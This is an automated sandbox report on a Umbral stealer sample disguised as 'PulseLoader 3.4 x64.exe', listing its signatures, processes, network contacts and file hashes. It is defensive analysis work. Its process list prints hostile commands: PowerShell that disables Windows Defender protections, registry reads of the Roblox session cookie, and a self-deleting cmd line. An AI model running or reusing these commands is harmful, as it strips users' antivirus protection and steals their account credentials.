Malware Analysis Report

2024-10-10 10:03

Sample ID 240509-cl5axafe34
Target PulseLoader 3.4 x64.exe
SHA256 e13794d15691acbbd898adcbbca15b903ee738c46ad7237d5d8e018385eeb4e0
Tags
umbral stealer execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e13794d15691acbbd898adcbbca15b903ee738c46ad7237d5d8e018385eeb4e0

Threat Level: Known bad

The file PulseLoader 3.4 x64.exe was found to be: Known bad.

Malicious Activity Summary

umbral stealer execution

Detect Umbral payload

Umbral family

Umbral

Command and Scripting Interpreter: PowerShell

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Unsigned PE

Runs ping.exe

Views/modifies file attributes

Suspicious use of AdjustPrivilegeToken

Detects videocard installed

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-09 02:10

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral family

umbral

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-09 02:10

Reported

2024-05-09 02:11

Platform

win7-20240220-en

Max time kernel

0s

Max time network

3s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral

stealer umbral

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe

"C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"

Network

N/A

Files

memory/2368-0-0x000007FEF5BD3000-0x000007FEF5BD4000-memory.dmp

memory/2368-1-0x0000000001070000-0x00000000010B0000-memory.dmp

memory/2368-2-0x000007FEF5BD0000-0x000007FEF65BC000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-09 02:10

Reported

2024-05-09 02:11

Platform

win10v2004-20240426-en

Max time kernel

0s

Max time network

21s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral

stealer umbral

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe N/A

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe

"C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\PulseLoader 3.4 x64.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 216.58.201.99:443 gstatic.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 44.56.20.217.in-addr.arpa udp
BE 2.17.196.137:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 137.196.17.2.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 232.137.159.162.in-addr.arpa udp
BE 2.17.196.177:443 www.bing.com tcp
US 8.8.8.8:53 177.196.17.2.in-addr.arpa udp

Files

memory/2508-1-0x00007FFD30853000-0x00007FFD30855000-memory.dmp

memory/2508-0-0x0000029BC8980000-0x0000029BC89C0000-memory.dmp

memory/2508-2-0x00007FFD30850000-0x00007FFD31311000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0nkvrye1.jvn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4472-3-0x000001DABBF40000-0x000001DABBF62000-memory.dmp

memory/4472-13-0x00007FFD30850000-0x00007FFD31311000-memory.dmp

memory/4472-14-0x00007FFD30850000-0x00007FFD31311000-memory.dmp

memory/4472-15-0x00007FFD30850000-0x00007FFD31311000-memory.dmp

memory/4472-18-0x00007FFD30850000-0x00007FFD31311000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

memory/2508-33-0x0000029BE3160000-0x0000029BE31D6000-memory.dmp

memory/2508-34-0x0000029BE2F80000-0x0000029BE2FD0000-memory.dmp

memory/2508-35-0x0000029BCA600000-0x0000029BCA61E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c9b6705519e1eef08f86c4ba5f4286f3
SHA1 6c6b179e452ecee2673a1d4fe128f1c06f70577f
SHA256 0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705
SHA512 6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

memory/2508-72-0x0000029BE3100000-0x0000029BE3112000-memory.dmp

memory/2508-71-0x0000029BCA640000-0x0000029BCA64A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ac057a92f4b62d8880169af0693ef5b2
SHA1 66e7c7834c5dae5cec863ccd69403150d05841f4
SHA256 7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed
SHA512 d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

memory/2508-91-0x00007FFD30850000-0x00007FFD31311000-memory.dmp

memory/2508-90-0x0000029BE32B0000-0x0000029BE3459000-memory.dmp